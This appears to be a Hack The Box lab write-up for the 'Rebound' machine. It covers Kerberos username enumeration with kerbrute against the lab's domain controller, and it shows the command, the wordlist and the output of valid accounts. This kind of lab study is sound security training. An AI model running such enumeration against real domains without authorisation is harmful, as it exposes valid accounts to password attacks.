Rebound_Kerberos

KDC

---

Nmap discovered a KDC service on the taraget port 88 and 464 The running service is Microsoft Windows Kerberos

While I do not know the naming convention that the target domain uses, I will attempt to enumerate usernames as much as possible by brute-forcing the KDC For efficiency, I will get that running in the background while enumerating other service

Username enumeration

---

┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ kerbrute userenum --dc $IP -d REBOUND.HTB /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
 
Version: v1.0.3 (9dad6e1) - 09/10/23 - Ronnie Flathers @ropnop
 
2023/09/10 18:52:02 >  Using KDC(s):
2023/09/10 18:52:02 >  	10.10.11.231:88
 
2023/09/10 18:52:03 >  [+] VALID USERNAME:	 guest@REBOUND.HTB
2023/09/10 18:52:07 >  [+] VALID USERNAME:	 administrator@REBOUND.HTB
2023/09/10 18:52:10 >  [+] VALID USERNAME:	 jjones@REBOUND.HTB
2023/09/10 18:52:40 >  [+] VALID USERNAME:	 Guest@REBOUND.HTB
2023/09/10 18:52:40 >  [+] VALID USERNAME:	 Administrator@REBOUND.HTB
2023/09/10 18:53:46 >  [+] VALID USERNAME:	 tbrady@REBOUND.HTB
2023/09/10 18:54:16 >  [+] VALID USERNAME:	 ppaul@REBOUND.HTB
2023/09/10 18:54:38 >  [+] VALID USERNAME:	 GUEST@REBOUND.HTB
2023/09/10 18:56:11 >  [+] VALID USERNAME:	 mmalone@REBOUND.HTB
2023/09/10 18:57:15 >  [+] VALID USERNAME:	 JJones@REBOUND.HTB
2023/09/10 19:01:23 >  [+] VALID USERNAME:	 JJONES@REBOUND.HTB
^C

kerbrute found 4 domain users; jjones, tbrady, ppaul and mmalone Saved to the users.txt file